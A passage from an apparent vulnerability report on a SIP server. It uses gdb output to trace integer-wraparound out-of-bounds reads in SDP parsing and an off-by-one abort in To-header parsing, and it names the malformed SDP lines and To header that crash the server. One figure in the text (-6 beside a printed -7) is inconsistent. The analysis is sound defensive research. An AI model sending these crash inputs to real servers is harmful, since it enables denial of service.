Here we can observe that after the end of the current SIP message being processed (**`real\r\n\r\n\x00`**), there are the remains of a previous message which includes a valid **`Authorization`** header and the character **=** which **`q_memchr`** is looking for.

5.2.4 Why `extract_field` abuse causes varying behaviour depending on memory use

The SIP message that triggers this vulnerability consisted of a malformed SDP body ending with **`a=`**. The following is the backtrace generated:

```
(gdb) bt
+bt
#0  0x0000560b84c518e3 in q_memchr (size=<optimized out>, c=10, p=0x560b84f5b001
  <error: Cannot access memory at address 0x560b84f5b001>) at parser/../ut.h:312
#1  eat_line (buffer=<optimized out>, len=<optimized out>) at parser/parser_f.c:35
#2  0x0000560b84cb7fba in extract_field (field=..., value=0x7f81f750bac8,
  body=0x7ffe59dbd610) at parser/sdp/sdp_helpr_funcs.c:175
#3  extract_ptime (body=body@entry=0x7ffe59dbd610, ptime=ptime@entry=0x7f81f750bac8) at
  parser/sdp/sdp_helpr_funcs.c:186
#4  0x0000560b84cac27e in parse_sdp_session (sdp_body=sdp_body@entry=0x7f81f750b8b8,
  session_num=session_num@entry=0, cnt_disp=cnt_disp@entry=0x0,
  _sdp=_sdp@entry=0x7f81f750b940) at parser/sdp/sdp.c:347
#5  0x0000560b84caf17c in parse_sdp (_m=<optimized out>) at parser/sdp/sdp.c:664
#6  0x00007f81f52ae489 in is_audio_on_hold_f (msg=<optimized out>) at sipmsgops.c:969
#7  0x0000560b84b1702f in do_action (a=0x7f81f72d19a0, msg=0x7f81f750a328) at action.c:961
#8  0x0000560b84b1a3c0 in run_action_list (msg=<optimized out>, a=<optimized out>) at
  action.c:181
#9  run_actions (msg=0x7f81f750a328, a=<optimized out>) at action.c:128
#10 run_top_route (sr=..., msg=msg@entry=0x7f81f750a328) at action.c:228
#11 0x0000560b84b2c88a in receive_msg (buf=0x560b84f3a440 <buf>
  "INVITE sip:1000@172.24.0.4 SIP/2.0\r\nVia: SIP/2.0/UDP 127.0.0.1:58896;rport;
  branch=z9hG4bK-0F3DFPN7CMINDHJF\r\nMax-Forwards: 70\r\nFrom: <sip:1001@127.0.0.1>;
```

```
  tag=979GF1IEZYDSJGX4\r\nTo: <sip:1000@127.0.0.1>\r"..., len=<optimized out>,
  rcv_info=rcv_info@entry=0x7ffe59dbda90, existing_context=existing_context@entry=0x0,
  msg_flags=msg_flags@entry=0) at receive.c:213
#12 0x0000560b84d24be5 in udp_read_req (si=<optimized out>, bytes_read=<optimized out>) at
  net/proto_udp/proto_udp.c:186
#13 0x0000560b84cf814e in handle_io (idx=<optimized out>, event_type=<optimized out>,
  fm=<optimized out>) at net/net_udp.c:272
#14 io_wait_loop_epoll (repeat=0, t=1, h=<optimized out>) at net/../io_wait_loop.h:308
#15 0x0000560b84cfd6ff in udp_start_processes (chd_rank=<optimized out>,
  startup_done=<optimized out>) at net/net_udp.c:497
#16 0x0000560b84ac994b in main_loop () at main.c:227
#17 main (argc=<optimized out>, argv=<optimized out>) at main.c:916
```

A breakpoint was placed at **`parser_f.c:35`** in the function **`eat_line`** and observed the values when the malformed section of the payload was being processed.

```
(gdb) b parser_f.c:35
+b parser_f.c:35
Breakpoint 3 at 0x55f335ba12f9: file parser/parser_f.c, line 35.
(gdb) c
+c
Continuing.

Breakpoint 3, eat_line (buffer=0x55f335e02782 <buf+34> "\r\nVia: SIP/2.0/UDP
  127.0.0.1:58896;rport;branch=z9hG4bK-0F3DFPN7CMINDHJF\r\nMax-Forwards: 70\r\nFrom:
  <sip:1001@127.0.0.1>;tag=979GF1IEZYDSJGX4\r\nTo: <sip:1000@127.0.0.1>\r\nCall-ID:
  CWLFEHPRHXJ3H7MG\r\nCSeq: "..., len=440) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb) c
+c
Continuing.

Breakpoint 3, eat_line (buffer=0x55f335e028d1 <buf+369> "- 1633613948 1633613948 IN IP4
  172.21.0.1\r\ns=-\r\nc=IN IP4 192.168.1.223\r\nt=0 0\r\nm=audio 9999 RTP/APV 0\r\na=",
  len=105) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
+c
Continuing.

Breakpoint 3, eat_line (buffer=0x55f335e02903 <buf+419> "IN IP4 192.168.1.223\r\nt=0 0\r\n
  m=audio 9999 RTP/APV 0\r\na=", len=55) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
+c
Continuing.

Breakpoint 3, eat_line (buffer=0x55f335e02922 <buf+450> "audio 9999 RTP/APV 0\r\na=",
  len=24) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
+c
Continuing.

Breakpoint 3, eat_line (buffer=0x55f335e02940 <buf+480> "", len=4294967290) at
  parser/parser_f.c:35
```

```
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
```

As can be seen in the last breakpoint, the length is being set to 4294967290. If we analyse the values being set in **`extract_field`**, we can understand better why this is:

```
(gdb) frame 1
+frame 1
#1  0x000055f335bd2ca2 in extract_field (body=0x7ffe7c09cb30, value=0x7f3db56a2a68,
  field=...) at parser/sdp/sdp_helpr_funcs.c:175
(gdb) p body->s + body->len - value->s
+p body->s + body->len - value->s
$6 = -6
```

The value -6 is being set as the **`size`** parameter when calling the **`q_memchr`** function. The type of **`size`** is **`unsigned int`** so the negative value will overflow to the integer **`4294967290`**.

When the memory adjacent to the buffer has not been previously used, the server would typically crash since the **`q_memchr`** function reads beyond the memory allocated to the process resulting in a segmentation fault:

```
(gdb) frame 0
+frame 0
#0  eat_line (buffer=0x55f335e02940 <buf+480> "", len=4294967290) at parser/parser_f.c:35
(gdb) x/64x buffer
+x/64x buffer
0x55f335e02940 <buf.9905+480>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e02950 <buf.9905+496>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e02960 <buf.9905+512>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e02970 <buf.9905+528>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e02980 <buf.9905+544>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e02990 <buf.9905+560>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e029a0 <buf.9905+576>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e029b0 <buf.9905+592>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e029c0 <buf.9905+608>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e029d0 <buf.9905+624>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e029e0 <buf.9905+640>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e029f0 <buf.9905+656>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e02a00 <buf.9905+672>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e02a10 <buf.9905+688>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e02a20 <buf.9905+704>:  0x00000000      0x00000000      0x00000000      0x00000000
0x55f335e02a30 <buf.9905+720>:  0x00000000      0x00000000      0x00000000      0x00000000
```

However, if previous messages would have been sent, the memory would look like this:

```
(gdb) x/64x buffer
+x/64x buffer
0x55f335e02940 <buf.9905+480>:  0x312d7265      0x4141203a      0x41414141      0x41414141
0x55f335e02950 <buf.9905+496>:  0x41414141      0x41414141      0x41414141      0x41414141
0x55f335e02960 <buf.9905+512>:  0x41414141      0x0a0d4141      0x65482d58      0x72656461
0x55f335e02970 <buf.9905+528>:  0x203a312d      0x41414141      0x41414141      0x41414141
```

```
0x55f335e02980 <buf.9905+544>:  0x41414141      0x41414141      0x41414141      0x41414141
0x55f335e02990 <buf.9905+560>:  0x41414141      0x2d580a0d      0x64616548      0x312d7265
0x55f335e029a0 <buf.9905+576>:  0x4141203a      0x41414141      0x41414141      0x41414141
0x55f335e029b0 <buf.9905+592>:  0x41414141      0x41414141      0x41414141      0x41414141
0x55f335e029c0 <buf.9905+608>:  0x0a0d4141      0x65482d58      0x72656461      0x203a312d
0x55f335e029d0 <buf.9905+624>:  0x41414141      0x41414141      0x41414141      0x41414141
0x55f335e029e0 <buf.9905+640>:  0x41414141      0x41414141      0x41414141      0x41414141
0x55f335e029f0 <buf.9905+656>:  0x2d580a0d      0x64616548      0x312d7265      0x4141203a
0x55f335e02a00 <buf.9905+672>:  0x41414141      0x41414141      0x41414141      0x41414141
0x55f335e02a10 <buf.9905+688>:  0x41414141      0x41414141      0x41414141      0x0a0d4141
0x55f335e02a20 <buf.9905+704>:  0x65482d58      0x72656461      0x203a312d      0x41414141
0x55f335e02a30 <buf.9905+720>:  0x41414141      0x41414141      0x41414141      0x41414141
```

Which will result in erratic program behaviour if the required character **\n** is found.

5.2.5 Why `extract_rtpmap` abuse causes varying behaviour depending on memory use

The SIP message that triggered this vulnerability consisted of a malformed SDP body ending with **a=rtpmap:101**. The following is the backtrace generated:

```
Program received signal SIGSEGV, Segmentation fault.
0x000055921d7fc8e3 in q_memchr (size=<optimized out>, c=10, p=0x55921db06001
  <error: Cannot access memory at address 0x55921db06001>) at parser/../ut.h:312
312                     if (*p==(unsigned char)c) return p;
(gdb) bt
+bt
#0  0x000055921d7fc8e3 in q_memchr (size=<optimized out>, c=10, p=0x55921db06001
  <error: Cannot access memory at address 0x55921db06001>) at parser/../ut.h:312
#1  eat_line (buffer=buffer@entry=0x55921dae5621 <buf+481> "101", len=<optimized out>) at
  parser/parser_f.c:35
#2  0x000055921d8608ee in extract_rtpmap (body=body@entry=0x7fff15346260,
  rtpmap_payload=rtpmap_payload@entry=0x7fff15346220,
  rtpmap_encoding=rtpmap_encoding@entry=0x7fff15346230,
  rtpmap_clockrate=rtpmap_clockrate@entry=0x7fff15346240,
  rtpmap_parmas=rtpmap_parmas@entry=0x7fff15346250) at parser/sdp/sdp_helpr_funcs.c:68
#3  0x000055921d857358 in parse_sdp_session (sdp_body=sdp_body@entry=0x7f177bb778b8,
  session_num=session_num@entry=0, cnt_disp=cnt_disp@entry=0x0,
  _sdp=_sdp@entry=0x7f177bb77940) at parser/sdp/sdp.c:574
#4  0x000055921d85a17c in parse_sdp (_m=<optimized out>) at parser/sdp/sdp.c:664
#5  0x00007f177991a489 in is_audio_on_hold_f (msg=<optimized out>) at sipmsgops.c:969
#6  0x000055921d6befcf in do_action (a=0x7f177b93d9a0, msg=0x7f177bb76328) at action.c:961
#7  0x000055921d6c2360 in run_action_list (msg=<optimized out>, a=<optimized out>) at
  action.c:181
#8  run_actions (msg=0x7f177bb76328, a=<optimized out>) at action.c:128
#9  run_top_route (sr=..., msg=msg@entry=0x7f177bb76328) at action.c:228
#10 0x000055921d6d482a in receive_msg (buf=0x55921dae5440 <buf>
  "INVITE sip:1000@172.27.0.4 SIP/2.0\r\nVia: SIP/2.0/UDP 127.0.0.1:58896;rport;
  branch=z9hG4bK-0F3DFPN7CMINDHJF\r\nMax-Forwards: 70\r\nFrom: <sip:1001@127.0.0.1>;
  tag=979GF1IEZYDSJGX4\r\nTo: <sip:1000@127.0.0.1>\r"..., len=<optimized out>,
  rcv_info=rcv_info@entry=0x7fff153466e0, existing_context=existing_context@entry=0x0,
  msg_flags=msg_flags@entry=0) at receive.c:213
#11 0x000055921d8cfaf5 in udp_read_req (si=<optimized out>, bytes_read=<optimized out>) at
  net/proto_udp/proto_udp.c:186
#12 0x000055921d8a305e in handle_io (idx=<optimized out>, event_type=<optimized out>,
```

```
  fm=<optimized out>) at net/net_udp.c:272
#13 io_wait_loop_epoll (repeat=0, t=1, h=<optimized out>) at net/../io_wait_loop.h:308
#14 0x000055921d8a860f in udp_start_processes (chd_rank=<optimized out>,
  startup_done=<optimized out>) at net/net_udp.c:497
#15 0x000055921d67494b in main_loop () at main.c:227
#16 main (argc=<optimized out>, argv=<optimized out>) at main.c:916
(gdb)
```

A breakpoint was placed at **`parser_f.c:35`** in the function **`eat_line`** and observed the values when the malformed section of the payload was being processed.

```
(gdb) b parser_f.c:35
+b parser_f.c:35
Breakpoint 1 at 0x562eab9cd2f9: file parser/parser_f.c, line 35.
(gdb) c
+c
Continuing.

Breakpoint 1, eat_line (buffer=0x562eabc2e782 <buf+34> "\r\nVia: SIP/2.0/UDP 127.0.0.1:
  58896;rport;branch=z9hG4bK-0F3DFPN7CMINDHJF\r\nMax-Forwards: 70\r\nFrom:
  <sip:1001@127.0.0.1>;tag=979GF1IEZYDSJGX4\r\nTo: <sip:1000@127.0.0.1>\r\nCall-ID:
  CWLFEHPRHXJ3H7MG\r\nCSeq: "..., len=450) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
+c
Continuing.

Breakpoint 1, eat_line (buffer=0x562eabc2e8d1 <buf+369> "- 1633613948 1633613948 IN IP4
  172.21.0.1\r\ns=-\r\nc=IN IP4 192.168.1.223\r\nt=0 0\r\nm=audio 9999 RTP/APV 0\r\na=
  rtpmap:101", len=105) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
+c
Continuing.

Breakpoint 1, eat_line (buffer=0x562eabc2e903 <buf+419> "IN IP4 192.168.1.223\r\nt=0 0\r\n
  m=audio 9999 RTP/APV 0\r\na=rtpmap:101", len=55) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
+c
Continuing.

Breakpoint 1, eat_line (buffer=0x562eabc2e922 <buf+450> "audio 9999 RTP/APV 0\r\n
  a=rtpmap:101", len=24) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
+c
Continuing.

Breakpoint 1, eat_line (buffer=0x562eabc2e941 <buf+481> "101", len=4294967289) at
  parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
```

As can be seen in the last breakpoint, the length is being set to 4294967289. If we analyse the values being set in **`extract_rtpmap`**, we can understand better why this is:

```
(gdb) frame 1
+frame 1
#1  0x000055ae17eae32c in extract_rtpmap (body=0x7ffd733351d0,
  rtpmap_payload=0x7ffd73335190, rtpmap_encoding=0x7ffd733351a0,
  rtpmap_clockrate=0x7ffd733351b0, rtpmap_parmas=0x7ffd733351c0) at
  parser/sdp/sdp_helpr_funcs.c:68
68              rtpmap_payload->len = eat_line(rtpmap_payload->s, body->s + body->len -
(gdb) p body->s + body->len - rtpmap_payload->s
+p body->s + body->len - rtpmap_payload->s
$1 = -7
```

The value -6 is being set as the **`size`** parameter when calling the **`q_memchr`** function. The type of **`size`** is **`unsigned int`** so the negative value will overflow to the integer **`4294967289`**.

When the memory adjacent to the buffer has not been previously used, the server would typically crash since the **`q_memchr`** function reads beyond the memory allocated to the processes. If the memory has been tainted with previous messages, then erratic program behaviour might be observed if the required character **`\n`** is found.

5.2.6 Why `extract_fmtp` abuse causes varying behaviour depending on memory use

The SIP message that triggered this vulnerability consisted of a malformed SDP body ending with **`a=fmtp:`**. The following is the backtrace generated:

```
Program received signal SIGSEGV, Segmentation fault.
0x0000562e35c1b8c7 in q_memchr (size=<optimized out>, c=10, p=0x562e35f25001 <error:
  Cannot access memory at address 0x562e35f25001>) at parser/../ut.h:312
312                     if (*p==(unsigned char)c) return p;
(gdb) bt
+bt
#0  0x0000562e35c1b8c7 in q_memchr (size=<optimized out>, c=10, p=0x562e35f25001
  <error: Cannot access memory at address 0x562e35f25001>) at parser/../ut.h:312
#1  eat_line (buffer=buffer@entry=0x562e35f04621 <buf+481> "", len=<optimized out>) at
  parser/parser_f.c:35
#2  0x0000562e35c80912 in extract_fmtp (body=body@entry=0x7ffce213fe10,
  fmtp_payload=fmtp_payload@entry=0x7ffce213fdd0,
  fmtp_string=fmtp_string@entry=0x7ffce213fe20) at parser/sdp/sdp_helpr_funcs.c:137
#3  0x0000562e35c762ce in parse_sdp_session (sdp_body=sdp_body@entry=0x7f361a3508b8,
  session_num=session_num@entry=0, cnt_disp=cnt_disp@entry=0x0,
  _sdp=_sdp@entry=0x7f361a350940) at parser/sdp/sdp.c:583
#4  0x0000562e35c7917c in parse_sdp (_m=<optimized out>) at parser/sdp/sdp.c:664
#5  0x00007f36180f3489 in is_audio_on_hold_f (msg=<optimized out>) at sipmsgops.c:969
#6  0x0000562e35addfcf in do_action (a=0x7f361a1169a0, msg=0x7f361a34f328) at action.c:961
#7  0x0000562e35ae1360 in run_action_list (msg=<optimized out>, a=<optimized out>)
  at action.c:181
#8  run_actions (msg=0x7f361a34f328, a=<optimized out>) at action.c:128
#9  run_top_route (sr=..., msg=msg@entry=0x7f361a34f328) at action.c:228
#10 0x0000562e35af382a in receive_msg (buf=0x562e35f04440 <buf> "INVITE
  sip:1000@192.168.16.4 SIP/2.0\r\nVia: SIP/2.0/UDP 127.0.0.1:58896;rport;branch=
  z9hG4bK-0F3DFPN7CMINDHJF\r\nMax-Forwards: 70\r\nFrom: <sip:1001@127.0.0.1>;
  tag=979GF1IEZYDSJGX4\r\nTo: <sip:1000@127.0.0.1"..., len=<optimized out>,
```

```
  rcv_info=rcv_info@entry=0x7ffce2140290, existing_context=existing_context@entry=0x0,
  msg_flags=msg_flags@entry=0) at receive.c:213
#11 0x0000562e35ceeaf5 in udp_read_req (si=<optimized out>, bytes_read=<optimized out>) at
  net/proto_udp/proto_udp.c:186
#12 0x0000562e35cc205e in handle_io (idx=<optimized out>, event_type=<optimized out>,
  fm=<optimized out>) at net/net_udp.c:272
#13 io_wait_loop_epoll (repeat=0, t=1, h=<optimized out>) at net/../io_wait_loop.h:308
#14 0x0000562e35cc760f in udp_start_processes (chd_rank=<optimized out>,
  startup_done=<optimized out>) at net/net_udp.c:497
#15 0x0000562e35a9394b in main_loop () at main.c:227
#16 main (argc=<optimized out>, argv=<optimized out>) at main.c:916
```

A breakpoint was placed at **`parser_f.c:35`** in the function **`eat_line`** and observed the values when the malformed section of the payload was being processed:

```
(gdb) b parser_f.c:35
+b parser_f.c:35
Breakpoint 1 at 0x561efec2a2f9: file parser/parser_f.c, line 35.
(gdb) c
+c
Continuing.

Breakpoint 1, eat_line (buffer=0x561efee8b784 <buf+36> "\r\nVia: SIP/2.0/UDP 127.0.0.1:
  58896;rport;branch=z9hG4bK-0F3DFPN7CMINDHJF\r\nMax-Forwards: 70\r\nFrom:
  <sip:1001@127.0.0.1>;tag=979GF1IEZYDSJGX4\r\nTo: <sip:1000@127.0.0.1>\r\nCall-ID:
  CWLFEHPRHXJ3H7MG\r\nCSeq: "..., len=445) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb) c
+c
Continuing.

Breakpoint 1, eat_line (buffer=0x561efee8b8d3 <buf+371> "- 1633613948 1633613948 IN IP4
  172.21.0.1\r\ns=-\r\nc=IN IP4 192.168.1.223\r\nt=0 0\r\nm=audio 9999 RTP/APV 0\r\n
  a=fmtp:", len=105) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
+c
Continuing.

Breakpoint 1, eat_line (buffer=0x561efee8b905 <buf+421> "IN IP4 192.168.1.223\r\nt=0 0\r\n
  m=audio 9999 RTP/APV 0\r\na=fmtp:", len=55) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
+c
Continuing.

Breakpoint 1, eat_line (buffer=0x561efee8b924 <buf+452> "audio 9999 RTP/APV 0\r\na=fmtp:",
  len=24) at parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
(gdb)
+c
Continuing.

Breakpoint 1, eat_line (buffer=0x561efee8b941 <buf+481> "", len=4294967291) at
  parser/parser_f.c:35
35              nl=(char *)q_memchr( buffer, '\n', len );
```

As can be seen in the last breakpoint, the length is being set to 4294967291. If we analyze the values being set in **`extract_fmtp`**, we can understand better why this is:

```
(gdb) frame 1
+frame 1
#1  0x0000561efec5b8b8 in extract_fmtp (body=0x7ffc201dccb0, fmtp_payload=0x7ffc201dcc70,
  fmtp_string=0x7ffc201dccc0) at parser/sdp/sdp_helpr_funcs.c:137
137             fmtp_payload->len = eat_line(fmtp_payload->s, body->s + body->len -
(gdb) p body->s + body->len - fmtp_payload->s
+p body->s + body->len - fmtp_payload->s
$1 = -5
```

The value -5 is being set as the **`size`** parameter when calling the **`q_memchr`** function. The type of **`size`** is **`unsigned int`** so the negative value will overflow to the integer **`4294967291`**.

When the memory adjacent to the buffer has not been previously used, the server would typically crash since the **`q_memchr`** function reads beyond the memory allocated to the processes. If the memory has been tainted with previous messages, then erratic program behaviour might be observed if the required character **`\n`** is found.

5.2.7 Why off-by-one error occurs in `parse_to_param`

To debug this crash, a breakpoint was placed at **`data_lump.c:399`**:

```
(gdb) b data_lump.c:399
Breakpoint 1 at 0x56369a02a9c2: file data_lump.c, line 399.
(gdb) c
Continuing.

Breakpoint 1, anchor_lump (msg=0x7fb02911fdd8, offset=119, type=HDR_OTHER_T) at
    data_lump.c:399
399         abort();
(gdb) bt
#0  anchor_lump (msg=0x7fb02911fdd8, offset=119, type=HDR_OTHER_T) at data_lump.c:399
#1  0x00007fb026ec76e7 in add_hf_helper (msg=0x7fb02911fdd8, str1=0x0, str2=0x0,
    hfval=0x7ffe0c1bbf68, mode=0, hfanc=0x0) at sipmsgops.c:566
#2  0x00007fb026ec7ad7 in append_hf (msg=0x7fb02911fdd8, str1=0x7ffe0c1bbf68, str2=0x0) at
    sipmsgops.c:619
...
#7  0x000056369a08091e in receive_msg (buf=0x56369a393480 <buf> "OPTIONS sip:127.0.0.1
    SIP/2.0\r\nVia: SIP/2.0/UDP 192.168.1.223:59589;rport;branch=z9hG4bK-dnOo7rULZLiOjRDh
    \r\nTo: a;a=\"T\\", len=118, rcv_info=0x7ffe0c1bc230, existing_context=0x0, msg_flags=0)
        at receive.c:213
...
#13 0x000056369a03c2ab in main (argc=7, argv=0x7ffe0c1bc5f8) at main.c:916
```

By looking at the values set at **`sipmsgops.c:566`** when calling the function **`anchor_lump`** (**`anchor =`**

`anchor_lump(msg, msg->unparsed - msg->buf, 0);`), we can start to understand the root of this issue:

```
(gdb) p msg->unparsed
$1 = 0x56369a3934f7 <buf+119> ""

(gdb) p msg->len
$2 = 118

(gdb) p msg->unparsed - msg->buf
$3 = 119
```

`msg->len` is the correct value, however **`msg->unparsed - msg->buf`** is offset by 1. This will cause the code in **`data_lump.c:399`** to call **`abort()`**:

```
395 /* extra checks */
396 if (offset>msg->len){
397     LM_CRIT("offset exceeds message size (%d > %d)"
398                 " aborting...\n", offset, msg->len);
399     abort();
400 }
```

We put breakpoints wherever **`msg->unparsed`** was being set in **`msg_parser.c`** executed the test again:

```
(gdb) b msg_parser.c:541
Breakpoint 1 at 0x558bd9b9c2a8: file parser/msg_parser.c, line 541.
(gdb) b msg_parser.c:719
Breakpoint 2 at 0x558bd9b9d8ea: file parser/msg_parser.c, line 719.
(gdb) b msg_parser.c:746
Breakpoint 3 at 0x558bd9b9df01: file parser/msg_parser.c, line 746.
(gdb) c
Continuing.

Breakpoint 3, parse_msg (buf=0x558bd9e2e480 <buf> "OPTIONS sip:127.0.0.1 SIP/2.0\r\nVia:
    SIP/2.0/UDP 192.168.1.223:59589;rport;branch=z9hG4bK-dnOo7rULZLiOjRDh\r\nTo: a;a=\"T\\",
    len=118, msg=0x7ff62a395dd8) at parser/msg_parser.c:746
746     msg->unparsed=tmp;
(gdb) p tmp
$1 = 0x558bd9e2e49f <buf+31> "Via: SIP/2.0/UDP 192.168.1.223:59589;rport;
    branch=z9hG4bK-dnOo7rULZLiOjRDh\r\nTo: a;a=\"T\\"
(gdb) c
Continuing.

Breakpoint 1, parse_headers (msg=0x7ff62a395dd8, flags=18446744073709551615, next=0) at
    parser/msg_parser.c:541
541     msg->unparsed=tmp;
(gdb) p tmp
$2 = 0x558bd9e2e4f7 <buf+119> ""
```

Here we notice that **`tmp`** is pointing to **`buf+119`** at **`msg_parser.c:541`**. So, next we analyzed why the value for **`tmp`** is set incorrectly. The value **`tmp`** is first set in the function **`parse_headers`** at

msg_parser.c:305 and then modified at **msg_parser.c:323** by calling the function **get_hdr_field**. By placing breakpoints at lines 305 and 323, we can understand why **tmp** is offset by 1 byte beyond the current message's buffer.

```
(gdb) b msg_parser.c:305
Breakpoint 1 at 0x56068cda0de8: file parser/msg_parser.c, line 305.
(gdb) b msg_parser.c:323
Breakpoint 2 at 0x56068cda0f81: file parser/msg_parser.c, line 323.
(gdb) c
Continuing.

Breakpoint 1, parse_headers (msg=0x7fe56b157dd8, flags=18446744073709551615, next=0) at
    parser/msg_parser.c:305
305     tmp=msg->unparsed;
(gdb) n
307     if (next) {
(gdb) p tmp
$1 = 0x56068d03449f <buf+31> "Via: SIP/2.0/UDP 192.168.1.223:59589;rport;
    branch=z9hG4bK-dnOo7rULZLiOjRDh\r\nTo: a;a=\"T\\"
```

At this point, the **tmp** is still within the allocated buffer and is pointing to the expected memory location.

Now we will keep track of the value set to **rest**, since this will be used to set the value of **tmp** later on in the code on line 538:

```
537 #endif
538         tmp=rest;
539     }
```

```
(gdb) c
Continuing.
Breakpoint 2, parse_headers (msg=0x7fe56b157dd8, flags=18446744073709551615, next=0) at
    parser/msg_parser.c:323
323         rest=get_hdr_field(tmp, msg->buf+msg->len, hf);
(gdb) n
324         switch (hf->type){
(gdb) p rest
$2 = 0x56068d0344eb <buf+107> "To: a;a=\"T\\"
(gdb) c
Continuing.

Breakpoint 2, parse_headers (msg=0x7fe56b157dd8, flags=18446744073709551615, next=0) at
    parser/msg_parser.c:323
323         rest=get_hdr_field(tmp, msg->buf+msg->len, hf);
(gdb) n
324         switch (hf->type){
(gdb) p rest
$5 = 0x56068d0344f7 <buf+119> ""
```

Here we can identify that the problem resides in the return value of **get_hdr_field** since **rest** is now pointing to **buf+119**. By debugging the logic of the function **get_hdr_field**, we can deduce where the

problem is coming from. Since the malformed header is a **To** header, we will also look at when the function **parse_to** is called on line 163.

```
b msg_parser.c:163
(gdb) p end
$1 = 0x55f5c61704f6 <buf+118> ""
```

Here we see that **end** is correctly pointing to **buf+118**. To understand where **tmp** is being wrongly offset by 1, we stepped through the function **_parse_to** and **parse_to_param**. While processing the **To** header value of **a;a="T**, when the backslash (i.e. ****) is reached, **tmp** is incremented by 1 at **parse_to.c:241**. Then, when the loop **for(tmp=buffer; tmp<end; tmp++)** in **parser_to.c:105** exists, **tmp** is incremented by 1 before exiting the loop. The following simple C program shows how this works:

```
1  #include <stdio.h>
2
3  int main()
4  {
5      char *buf = "testing";
6      char *end = buf + 3;
7      char *tmp;
8      for (tmp=buf; tmp<end; tmp++)
9      {
10         printf("> %s\n", tmp);
11     }
12     printf("] %s\n", tmp);
13 }
```

After running the loop for 3 times, it is expected that **tmp** would not change on line 12, however the output shows that it does:

Output:

```
> testing
> esting
> sting
] ting
```